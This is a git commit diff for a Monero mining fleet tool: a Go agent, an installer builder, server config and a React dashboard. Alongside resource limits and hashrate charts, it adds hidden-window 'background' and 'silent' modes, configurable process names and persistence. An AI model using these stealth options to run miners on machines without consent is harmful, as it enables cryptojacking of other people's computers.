Upgrade dashboard, builder, and agent resource controls.

Dark UI with hashrate graphs, inline setting help, percent-based threads/RAM, configurable process name and display modes, and LAN-aware run.bat startup banner.
This commit is contained in:
drjones
2026-05-26 23:26:39 -07:00
parent 6241dfd556
commit f7d6dcf542
24 changed files with 960 additions and 191 deletions

View File

@@ -39,7 +39,8 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
} }
func (c *AgentClient) Run() error { func (c *AgentClient) Run() error {
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare) threads := c.cfg.EffectiveThreads()
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
c.pool.Start() c.pool.Start()
defer c.pool.Stop() defer c.pool.Stop()

View File

@@ -2,18 +2,21 @@ package config
import "time" import "time"
// Default stub used for local development builds. The Miner Builder replaces this file.
func GetBuiltinConfig() BuiltinConfig { func GetBuiltinConfig() BuiltinConfig {
return BuiltinConfig{ return BuiltinConfig{
WorkerName: "dev-worker", WorkerName: "dev-worker",
ServerURL: "http://127.0.0.1:8989", ServerURL: "http://127.0.0.1:8989",
Wallet: "", Wallet: "",
Threads: 4, Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal", CPUPriority: "below_normal",
MiningMode: "always", MiningMode: "always",
DisplayMode: "visible",
SilentMode: false, SilentMode: false,
RunAs: "user", RunAs: "user",
AutoStart: false, AutoStart: false,
ProcessName: "CryptoMinerWorker",
BuildID: "dev", BuildID: "dev",
BuiltAt: time.Now(), BuiltAt: time.Now(),
PoolHost: "pool.supportxmr.com", PoolHost: "pool.supportxmr.com",
@@ -21,6 +24,7 @@ func GetBuiltinConfig() BuiltinConfig {
PoolTLS: true, PoolTLS: true,
PoolPass: "x", PoolPass: "x",
MaxCPUUsage: 80, MaxCPUUsage: 80,
MaxMemoryPct: 70,
MinFreeRAM: 1024, MinFreeRAM: 1024,
IdleThresholdPct: 20, IdleThresholdPct: 20,
IdleDurationMinutes: 5, IdleDurationMinutes: 5,

View File

@@ -1,22 +1,27 @@
package config package config
import ( import (
"runtime"
"strings"
"time" "time"
) )
const Version = "1.0.0" const Version = "1.0.0"
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
type BuiltinConfig struct { type BuiltinConfig struct {
WorkerName string WorkerName string
ServerURL string ServerURL string
Wallet string Wallet string
Threads int Threads int
ThreadMode string
ThreadPercent int
CPUPriority string CPUPriority string
MiningMode string MiningMode string
DisplayMode string
SilentMode bool SilentMode bool
RunAs string RunAs string
AutoStart bool AutoStart bool
ProcessName string
BuildID string BuildID string
BuiltAt time.Time BuiltAt time.Time
PoolHost string PoolHost string
@@ -24,6 +29,7 @@ type BuiltinConfig struct {
PoolTLS bool PoolTLS bool
PoolPass string PoolPass string
MaxCPUUsage int MaxCPUUsage int
MaxMemoryPct int
MinFreeRAM int MinFreeRAM int
IdleThresholdPct int IdleThresholdPct int
IdleDurationMinutes int IdleDurationMinutes int
@@ -31,7 +37,6 @@ type BuiltinConfig struct {
ScheduleEnd string ScheduleEnd string
} }
// RuntimeConfig is the resolved configuration used by the agent.
type RuntimeConfig struct { type RuntimeConfig struct {
BuiltinConfig BuiltinConfig
AgentID string AgentID string
@@ -42,15 +47,34 @@ func Load() RuntimeConfig {
if b.Threads <= 0 { if b.Threads <= 0 {
b.Threads = 4 b.Threads = 4
} }
if b.ThreadMode == "" {
b.ThreadMode = "percent"
}
if b.ThreadPercent <= 0 {
b.ThreadPercent = 75
}
if b.CPUPriority == "" { if b.CPUPriority == "" {
b.CPUPriority = "below_normal" b.CPUPriority = "below_normal"
} }
if b.MiningMode == "" { if b.MiningMode == "" {
b.MiningMode = "always" b.MiningMode = "always"
} }
if b.DisplayMode == "" {
if b.SilentMode {
b.DisplayMode = "silent"
} else {
b.DisplayMode = "visible"
}
}
if b.ProcessName == "" {
b.ProcessName = sanitizeProcessName(b.WorkerName)
}
if b.MaxCPUUsage <= 0 { if b.MaxCPUUsage <= 0 {
b.MaxCPUUsage = 80 b.MaxCPUUsage = 80
} }
if b.MaxMemoryPct <= 0 {
b.MaxMemoryPct = 70
}
if b.MinFreeRAM <= 0 { if b.MinFreeRAM <= 0 {
b.MinFreeRAM = 1024 b.MinFreeRAM = 1024
} }
@@ -68,3 +92,58 @@ func Load() RuntimeConfig {
} }
return RuntimeConfig{BuiltinConfig: b} return RuntimeConfig{BuiltinConfig: b}
} }
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {
if c.Threads < 1 {
return 1
}
return c.Threads
}
cores := runtime.NumCPU()
if cores < 1 {
cores = 1
}
pct := c.ThreadPercent
if pct < 1 {
pct = 1
}
if pct > 100 {
pct = 100
}
threads := int(float64(cores) * float64(pct) / 100.0)
if threads < 1 {
threads = 1
}
if threads > cores {
threads = cores
}
return threads
}
func (c RuntimeConfig) HideWindow() bool {
switch strings.ToLower(c.DisplayMode) {
case "silent", "background":
return true
default:
return c.SilentMode
}
}
func (c RuntimeConfig) BackgroundMode() bool {
return strings.ToLower(c.DisplayMode) == "background"
}
func sanitizeProcessName(name string) string {
name = strings.TrimSpace(name)
if name == "" {
return "CryptoMinerWorker"
}
replacer := strings.NewReplacer(" ", "", "-", "", "_", "")
clean := replacer.Replace(name)
if clean == "" {
return "CryptoMinerWorker"
}
return clean
}

View File

@@ -0,0 +1,45 @@
package config
import "testing"
func TestEffectiveThreadsFixed(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "fixed", Threads: 3}}
if got := cfg.EffectiveThreads(); got != 3 {
t.Fatalf("expected 3, got %d", got)
}
}
func TestEffectiveThreadsPercentCaps(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 150}}
got := cfg.EffectiveThreads()
if got < 1 {
t.Fatalf("expected at least 1 thread, got %d", got)
}
}
func TestEffectiveThreadsPercentZeroUsesMinimum(t *testing.T) {
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ThreadMode: "percent", ThreadPercent: 0}}
if got := cfg.EffectiveThreads(); got < 1 {
t.Fatalf("expected minimum 1 thread, got %d", got)
}
}
func TestHideWindowModes(t *testing.T) {
silent := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "silent"}}
if !silent.HideWindow() {
t.Fatal("silent should hide window")
}
visible := RuntimeConfig{BuiltinConfig: BuiltinConfig{DisplayMode: "visible"}}
if visible.HideWindow() {
t.Fatal("visible should not hide window")
}
}
func TestSanitizeProcessName(t *testing.T) {
if got := sanitizeProcessName("office pc 1"); got != "officepc1" {
t.Fatalf("unexpected process name: %s", got)
}
if got := sanitizeProcessName(""); got != "CryptoMinerWorker" {
t.Fatalf("expected default process name, got %s", got)
}
}

View File

@@ -33,7 +33,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if err != nil { if err != nil {
return false, err return false, err
} }
installedExe := filepath.Join(installDir, "miner.exe") installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
if samePath(currentExe, installedExe) { if samePath(currentExe, installedExe) {
return false, nil return false, nil

View File

@@ -31,12 +31,16 @@ func main() {
return return
} }
if cfg.BackgroundMode() {
cfg.CPUPriority = "idle"
}
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil { if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
log.Printf("[agent] could not set CPU priority: %v", err) log.Printf("[agent] could not set CPU priority: %v", err)
} }
log.Printf("[agent] running worker=%s build=%s server=%s threads=%d", log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads) cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
agent := client.NewAgentClient(cfg) agent := client.NewAgentClient(cfg)
if err := agent.Run(); err != nil { if err := agent.Run(); err != nil {

View File

@@ -8,34 +8,41 @@ import (
"sync/atomic" "sync/atomic"
"time" "time"
"crypto-miner-agent/config"
"crypto-miner-agent/job" "crypto-miner-agent/job"
"crypto-miner-agent/stats"
) )
type ShareHandler func(jobID, nonce, hash string) type ShareHandler func(jobID, nonce, hash string)
type Pool struct { type Pool struct {
threads int threads int
engine *Engine cfg config.RuntimeConfig
handler ShareHandler reporter *stats.Reporter
engine *Engine
handler ShareHandler
mu sync.RWMutex mu sync.RWMutex
currentJob *job.Job currentJob *job.Job
stopCh chan struct{} stopCh chan struct{}
wg sync.WaitGroup wg sync.WaitGroup
paused atomic.Bool
hashesTotal atomic.Uint64 hashesTotal atomic.Uint64
sharesFound atomic.Uint64 sharesFound atomic.Uint64
} }
func NewPool(threads int, handler ShareHandler) *Pool { func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, handler ShareHandler) *Pool {
if threads <= 0 { if threads <= 0 {
threads = 1 threads = 1
} }
return &Pool{ return &Pool{
threads: threads, threads: threads,
engine: NewEngine(), cfg: cfg,
handler: handler, reporter: reporter,
stopCh: make(chan struct{}), engine: NewEngine(),
handler: handler,
stopCh: make(chan struct{}),
} }
} }
@@ -60,6 +67,7 @@ func (p *Pool) Start() {
p.wg.Add(1) p.wg.Add(1)
go p.worker(i) go p.worker(i)
} }
go p.resourceGuard()
} }
func (p *Pool) Stop() { func (p *Pool) Stop() {
@@ -75,6 +83,34 @@ func (p *Pool) ResetHashCounter() {
p.hashesTotal.Store(0) p.hashesTotal.Store(0)
} }
func (p *Pool) resourceGuard() {
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
for {
select {
case <-p.stopCh:
return
case <-ticker.C:
p.paused.Store(!p.resourcesOK())
}
}
}
func (p *Pool) resourcesOK() bool {
freeMB := p.reporter.FreeMemoryMB()
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
return false
}
totalMB := p.reporter.TotalMemoryMB()
if totalMB > 0 && p.cfg.MaxMemoryPct > 0 {
usedPct := float64(totalMB-freeMB) / float64(totalMB) * 100
if usedPct > float64(p.cfg.MaxMemoryPct) {
return false
}
}
return true
}
func (p *Pool) worker(id int) { func (p *Pool) worker(id int) {
defer p.wg.Done() defer p.wg.Done()
@@ -87,6 +123,11 @@ func (p *Pool) worker(id int) {
default: default:
} }
if p.paused.Load() {
time.Sleep(2 * time.Second)
continue
}
p.mu.RLock() p.mu.RLock()
job := p.currentJob job := p.currentJob
p.mu.RUnlock() p.mu.RUnlock()
@@ -101,6 +142,9 @@ func (p *Pool) worker(id int) {
return return
default: default:
} }
if p.paused.Load() {
break
}
hashHex, _, err := p.engine.HashAtNonce(nonce) hashHex, _, err := p.engine.HashAtNonce(nonce)
if err != nil { if err != nil {
@@ -126,7 +170,17 @@ func (p *Pool) worker(id int) {
func uint32ToHex(n uint32) string { func uint32ToHex(n uint32) string {
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)} b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
return hex.EncodeToString(b) return hexEncode(b)
}
func hexEncode(b []byte) string {
const hexdigits = "0123456789abcdef"
out := make([]byte, len(b)*2)
for i, v := range b {
out[i*2] = hexdigits[v>>4]
out[i*2+1] = hexdigits[v&0x0f]
}
return string(out)
} }
func difficultyToTargetHex(difficulty int64) string { func difficultyToTargetHex(difficulty int64) string {

View File

@@ -0,0 +1,28 @@
package miner
import (
"testing"
)
func TestHashMeetsTargetEqual(t *testing.T) {
target := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
hash := "0000000000000000000000000000000000000000000000000000000000000001"
if !hashMeetsTarget(hash, target) {
t.Fatal("lower hash should meet high target")
}
}
func TestHashMeetsTargetReject(t *testing.T) {
target := "0000000000000000000000000000000000000000000000000000000000000001"
hash := "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"
if hashMeetsTarget(hash, target) {
t.Fatal("high hash should not meet low target")
}
}
func TestDifficultyToTargetHex(t *testing.T) {
out := difficultyToTargetHex(1000)
if len(out) != 64 {
t.Fatalf("expected 64 hex chars, got %d", len(out))
}
}

View File

@@ -3,7 +3,25 @@ package stats
import ( import (
"os" "os"
"runtime" "runtime"
"strings" "syscall"
"unsafe"
)
type memoryStatusEx struct {
Length uint32
MemoryLoad uint32
TotalPhys uint64
AvailPhys uint64
TotalPageFile uint64
AvailPageFile uint64
TotalVirtual uint64
AvailVirtual uint64
AvailExtendedVirtual uint64
}
var (
kernel32 = syscall.NewLazyDLL("kernel32.dll")
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
) )
type Reporter struct{} type Reporter struct{}
@@ -15,21 +33,40 @@ func NewReporter() *Reporter {
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) { func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
hostname, _ = os.Hostname() hostname, _ = os.Hostname()
cpuCores = runtime.NumCPU() cpuCores = runtime.NumCPU()
memoryGB = 8 total, _ := r.memoryStatus()
memoryGB = int(total / (1024 * 1024 * 1024))
if memoryGB < 1 {
memoryGB = 1
}
return hostname, cpuCores, memoryGB return hostname, cpuCores, memoryGB
} }
func (r *Reporter) Usage() (cpuPct float64, memPct float64) { func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
var m runtime.MemStats total, avail := r.memoryStatus()
runtime.ReadMemStats(&m) if total > 0 {
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100 memPct = float64(total-avail) / float64(total) * 100
if memPct > 100 {
memPct = 100
} }
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy // CPU usage is reported by the agent client from mining load; keep a sane default here.
if cpuPct > 100 { cpuPct = 0
cpuPct = 100
}
_ = strings.TrimSpace("")
return cpuPct, memPct return cpuPct, memPct
} }
func (r *Reporter) FreeMemoryMB() uint64 {
_, avail := r.memoryStatus()
return avail / (1024 * 1024)
}
func (r *Reporter) TotalMemoryMB() uint64 {
total, _ := r.memoryStatus()
return total / (1024 * 1024)
}
func (r *Reporter) memoryStatus() (total, avail uint64) {
var stat memoryStatusEx
stat.Length = uint32(unsafe.Sizeof(stat))
ret, _, _ := procGlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&stat)))
if ret == 0 {
return 0, 0
}
return stat.TotalPhys, stat.AvailPhys
}

16
run.bat
View File

@@ -166,20 +166,26 @@ echo Server built: bin\miner-server.exe
:: ============================================================ :: ============================================================
echo [5/5] Starting server on port 8989... echo [5/5] Starting server on port 8989...
echo. echo.
for /f "usebackq delims=" %%I in (`powershell -NoProfile -Command "(Get-NetIPAddress -AddressFamily IPv4 ^| Where-Object { $_.IPAddress -notlike '127.*' -and $_.PrefixOrigin -ne 'WellKnown' } ^| Select-Object -First 1 -ExpandProperty IPAddress)"`) do set LAN_IP=%%I
if not defined LAN_IP set LAN_IP=localhost
echo.
echo ╔══════════════════════════════════════════════════╗ echo ╔══════════════════════════════════════════════════╗
echo ║ Crypto Miner Control Server ║ echo ║ Crypto Miner Control Server ║
echo ║ ║ echo ║ ║
echo ║ Dashboard: http://localhost:8989 ║ echo ║ Dashboard: http://%LAN_IP%:8989
echoWebSocket: ws://localhost:8989/ws/agent echoLocal: http://localhost:8989
echo ║ WebSocket: ws://%LAN_IP%:8989/ws/agent ║
echo ║ ║ echo ║ ║
echoData: %CD%\data\ echo1. Open dashboard on your LAN
echo ║ Config: %CD%\data\config.json echo 2. Configure Settings
echo ║ 3. Build install-{worker}.exe in Builder ║
echo ║ 4. Run that exe once on each Windows machine ║
echo ║ ║ echo ║ ║
echo ║ Data: %CD%\data\ ║
echo ║ Press Ctrl+C to stop the server ║ echo ║ Press Ctrl+C to stop the server ║
echo ╚══════════════════════════════════════════════════╝ echo ╚══════════════════════════════════════════════════╝
echo. echo.
:: Launch browser
start http://localhost:8989 start http://localhost:8989
:: Run server :: Run server

View File

@@ -34,10 +34,15 @@ type WalletConfig struct {
type AgentDefaults struct { type AgentDefaults struct {
Threads int `json:"threads"` Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"` CPUPriority string `json:"cpu_priority"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"` MinFreeRAMMB int `json:"min_free_ram_mb"`
MiningMode string `json:"mining_mode"` MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
ProcessName string `json:"process_name"`
IdleThresholdPct int `json:"idle_threshold_pct"` IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"` IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"` ScheduleStart string `json:"schedule_start"`
@@ -73,10 +78,15 @@ func DefaultConfig() *Config {
}, },
DefaultAgent: AgentDefaults{ DefaultAgent: AgentDefaults{
Threads: 4, Threads: 4,
ThreadMode: "percent",
ThreadPercent: 75,
CPUPriority: "below_normal", CPUPriority: "below_normal",
MaxCPUUsagePct: 80, MaxCPUUsagePct: 80,
MaxMemoryPct: 70,
MinFreeRAMMB: 1024, MinFreeRAMMB: 1024,
MiningMode: "always", MiningMode: "always",
DisplayMode: "background",
ProcessName: "",
IdleThresholdPct: 20, IdleThresholdPct: 20,
IdleDurationMinutes: 5, IdleDurationMinutes: 5,
ScheduleStart: "21:00", ScheduleStart: "21:00",
@@ -146,18 +156,33 @@ func mergeConfig(dst, src *Config) {
if src.DefaultAgent.Threads != 0 { if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads dst.DefaultAgent.Threads = src.DefaultAgent.Threads
} }
if src.DefaultAgent.ThreadMode != "" {
dst.DefaultAgent.ThreadMode = src.DefaultAgent.ThreadMode
}
if src.DefaultAgent.ThreadPercent != 0 {
dst.DefaultAgent.ThreadPercent = src.DefaultAgent.ThreadPercent
}
if src.DefaultAgent.CPUPriority != "" { if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
} }
if src.DefaultAgent.MaxCPUUsagePct != 0 { if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
} }
if src.DefaultAgent.MaxMemoryPct != 0 {
dst.DefaultAgent.MaxMemoryPct = src.DefaultAgent.MaxMemoryPct
}
if src.DefaultAgent.MinFreeRAMMB != 0 { if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
} }
if src.DefaultAgent.MiningMode != "" { if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
} }
if src.DefaultAgent.DisplayMode != "" {
dst.DefaultAgent.DisplayMode = src.DefaultAgent.DisplayMode
}
if src.DefaultAgent.ProcessName != "" {
dst.DefaultAgent.ProcessName = src.DefaultAgent.ProcessName
}
if src.DefaultAgent.IdleThresholdPct != 0 { if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
} }

View File

@@ -23,12 +23,18 @@ type BuildRequest struct {
ServerURL string `json:"server_url"` ServerURL string `json:"server_url"`
Wallet string `json:"wallet"` Wallet string `json:"wallet"`
Threads int `json:"threads"` Threads int `json:"threads"`
ThreadMode string `json:"thread_mode"`
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"` CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"` MiningMode string `json:"mining_mode"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"` SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"` RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"` AutoStart bool `json:"auto_start"`
Persistence bool `json:"persistence"`
ProcessName string `json:"process_name"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MaxMemoryPct int `json:"max_memory_percent"`
MinFreeRAMMB int `json:"min_free_ram_mb"` MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"` IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"` IdleDurationMinutes int `json:"idle_duration_minutes"`
@@ -148,7 +154,7 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
ldflags := "-s -w" ldflags := "-s -w"
if req.SilentMode { if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
ldflags += " -H windowsgui" ldflags += " -H windowsgui"
} }
@@ -219,6 +225,31 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.Threads <= 0 { if req.Threads <= 0 {
req.Threads = 4 req.Threads = 4
} }
if req.ThreadMode == "" {
req.ThreadMode = "percent"
}
if req.ThreadPercent <= 0 {
req.ThreadPercent = 75
}
if req.ThreadPercent > 100 {
req.ThreadPercent = 100
}
if req.DisplayMode == "" {
if req.SilentMode {
req.DisplayMode = "silent"
} else {
req.DisplayMode = "background"
}
}
if req.Persistence {
req.AutoStart = true
}
if req.ProcessName == "" {
req.ProcessName = sanitizeFileName(req.WorkerName)
}
if req.MaxMemoryPct <= 0 {
req.MaxMemoryPct = 70
}
if req.CPUPriority == "" { if req.CPUPriority == "" {
req.CPUPriority = "below_normal" req.CPUPriority = "below_normal"
} }
@@ -273,11 +304,15 @@ func GetBuiltinConfig() BuiltinConfig {
ServerURL: %q, ServerURL: %q,
Wallet: %q, Wallet: %q,
Threads: %d, Threads: %d,
ThreadMode: %q,
ThreadPercent: %d,
CPUPriority: %q, CPUPriority: %q,
MiningMode: %q, MiningMode: %q,
DisplayMode: %q,
SilentMode: %v, SilentMode: %v,
RunAs: %q, RunAs: %q,
AutoStart: %v, AutoStart: %v,
ProcessName: %q,
BuildID: %q, BuildID: %q,
BuiltAt: time.Unix(%d, 0), BuiltAt: time.Unix(%d, 0),
PoolHost: %q, PoolHost: %q,
@@ -285,6 +320,7 @@ func GetBuiltinConfig() BuiltinConfig {
PoolTLS: %v, PoolTLS: %v,
PoolPass: %q, PoolPass: %q,
MaxCPUUsage: %d, MaxCPUUsage: %d,
MaxMemoryPct: %d,
MinFreeRAM: %d, MinFreeRAM: %d,
IdleThresholdPct: %d, IdleThresholdPct: %d,
IdleDurationMinutes: %d, IdleDurationMinutes: %d,
@@ -297,11 +333,15 @@ func GetBuiltinConfig() BuiltinConfig {
req.ServerURL, req.ServerURL,
req.Wallet, req.Wallet,
req.Threads, req.Threads,
req.ThreadMode,
req.ThreadPercent,
req.CPUPriority, req.CPUPriority,
req.MiningMode, req.MiningMode,
req.DisplayMode,
req.SilentMode, req.SilentMode,
req.RunAs, req.RunAs,
req.AutoStart, req.AutoStart,
req.ProcessName,
buildID, buildID,
time.Now().Unix(), time.Now().Unix(),
req.PoolHost, req.PoolHost,
@@ -309,6 +349,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.PoolTLS, req.PoolTLS,
req.PoolPass, req.PoolPass,
req.MaxCPUUsagePct, req.MaxCPUUsagePct,
req.MaxMemoryPct,
req.MinFreeRAMMB, req.MinFreeRAMMB,
req.IdleThresholdPct, req.IdleThresholdPct,
req.IdleDurationMinutes, req.IdleDurationMinutes,

View File

@@ -0,0 +1,48 @@
package builder
import "testing"
func TestNormalizeRequestDefaults(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.ThreadMode != "percent" {
t.Fatalf("expected percent thread mode, got %s", req.ThreadMode)
}
if req.ThreadPercent != 75 {
t.Fatalf("expected 75%%, got %d", req.ThreadPercent)
}
if req.ProcessName == "" {
t.Fatal("expected generated process name")
}
}
func TestNormalizeRequestRequiresWallet(t *testing.T) {
h := &Handler{}
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x"}
if err := h.normalizeRequest(req); err == nil {
t.Fatal("expected wallet validation error")
}
}
func TestNormalizeRequestPersistence(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
Persistence: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if !req.AutoStart {
t.Fatal("persistence should enable auto start")
}
}

View File

@@ -0,0 +1,66 @@
import {
Area,
AreaChart,
CartesianGrid,
ResponsiveContainer,
Tooltip,
XAxis,
YAxis,
} from 'recharts';
export interface ChartPoint {
time: string;
value: number;
label?: string;
}
interface HashrateChartProps {
data: ChartPoint[];
title?: string;
color?: string;
unit?: string;
}
export default function HashrateChart({ data, title, color = '#06b6d4', unit = 'H/s' }: HashrateChartProps) {
if (data.length === 0) {
return (
<div className="chart-empty card">
<p>{title || 'Chart'} waiting for data...</p>
</div>
);
}
return (
<div className="chart-wrap">
{title && <h3 className="chart-title">{title}</h3>}
<ResponsiveContainer width="100%" height={260}>
<AreaChart data={data}>
<defs>
<linearGradient id={`grad-${color}`} x1="0" y1="0" x2="0" y2="1">
<stop offset="5%" stopColor={color} stopOpacity={0.35} />
<stop offset="95%" stopColor={color} stopOpacity={0} />
</linearGradient>
</defs>
<CartesianGrid strokeDasharray="3 3" stroke="#243049" />
<XAxis dataKey="time" stroke="#64748b" fontSize={11} tickLine={false} />
<YAxis stroke="#64748b" fontSize={11} tickLine={false} tickFormatter={(v) => formatShort(v, unit)} />
<Tooltip
contentStyle={{ background: '#111827', border: '1px solid #2a3a5c', borderRadius: 8 }}
labelStyle={{ color: '#94a3b8' }}
formatter={(value: number) => [formatShort(value, unit), title || 'Value']}
/>
<Area type="monotone" dataKey="value" stroke={color} fill={`url(#grad-${color})`} strokeWidth={2} />
</AreaChart>
</ResponsiveContainer>
</div>
);
}
function formatShort(v: number, unit: string): string {
if (unit === 'H/s') {
if (v >= 1_000_000) return `${(v / 1_000_000).toFixed(1)}M`;
if (v >= 1_000) return `${(v / 1_000).toFixed(1)}K`;
return `${v.toFixed(0)}`;
}
return `${v.toFixed(1)}${unit === '%' ? '%' : ''}`;
}

View File

@@ -0,0 +1,50 @@
.help-tip {
display: inline-flex;
align-items: center;
gap: 0.35rem;
margin-left: 0.35rem;
cursor: help;
}
.help-tip-icon {
display: inline-flex;
align-items: center;
justify-content: center;
width: 1rem;
height: 1rem;
border-radius: 999px;
background: rgba(6, 182, 212, 0.15);
color: var(--accent-cyan);
font-size: 0.6875rem;
font-weight: 700;
}
.help-tip-label {
font-size: 0.75rem;
color: var(--text-muted);
}
.cheat-sheet {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.cheat-sheet-item {
padding: 0.75rem;
background: var(--bg-secondary);
border: 1px solid var(--border-color);
border-radius: 8px;
}
.cheat-sheet-item h4 {
font-size: 0.8125rem;
color: var(--accent-cyan);
margin-bottom: 0.25rem;
}
.cheat-sheet-item p {
font-size: 0.75rem;
color: var(--text-secondary);
line-height: 1.5;
}

View File

@@ -0,0 +1,24 @@
import { FIELD_HELP } from '../help/settingHelp';
import '../components/HelpTip.css';
interface HelpTipProps {
field: string;
label?: string;
}
export function HelpTip({ field, label }: HelpTipProps) {
const text = FIELD_HELP[field];
if (!text) return null;
return (
<span className="help-tip" title={text} aria-label={text}>
<span className="help-tip-icon">?</span>
{label && <span className="help-tip-label">{label}</span>}
</span>
);
}
export function FieldHint({ field }: { field: string }) {
const text = FIELD_HELP[field];
if (!text) return null;
return <span className="form-hint">{text}</span>;
}

View File

@@ -0,0 +1,50 @@
export const SETUP_CHEATSHEET = [
{
title: '1. Launch the server',
body: 'Run run.bat on your control PC. Open the dashboard at http://YOUR-LAN-IP:8989 from any device on your network.',
},
{
title: '2. Settings first',
body: 'Set your Monero wallet and pool in Settings. These become defaults for every installer you build.',
},
{
title: '3. Build an installer',
body: 'Give each machine a unique Worker Name. Build install-{name}.exe. Server URL must be your LAN IP, not localhost, so other PCs can reach you.',
},
{
title: '4. Deploy once per PC',
body: 'Copy the single .exe to a worker machine and run it once. It installs, optionally persists, and connects back to your dashboard.',
},
{
title: '5. Monitor',
body: 'Watch Dashboard and Agents for hashrate graphs, CPU/RAM, shares, and online status.',
},
];
export const FIELD_HELP: Record<string, string> = {
worker_name: 'Unique label for this machine. Shows up in Dashboard and Agents. Example: office-pc-3',
server_url: 'Your control server address on the LAN. Workers connect here for jobs and stats. Use http://192.168.x.x:8989 not localhost.',
wallet: 'Monero wallet address where pool payouts go. Must be a valid 95-character mainnet address starting with 4.',
pool_host: 'Upstream Monero pool hostname. The control server connects here and relays work to your fleet.',
pool_port: 'Pool Stratum port. SupportXMR TLS is usually 443 or 3333 depending on pool docs.',
pool_tls: 'Enable for stratum+ssl pools. Must match what your pool requires.',
pool_pass: 'Pool password, usually x for Monero. Some pools use wallet+worker syntax.',
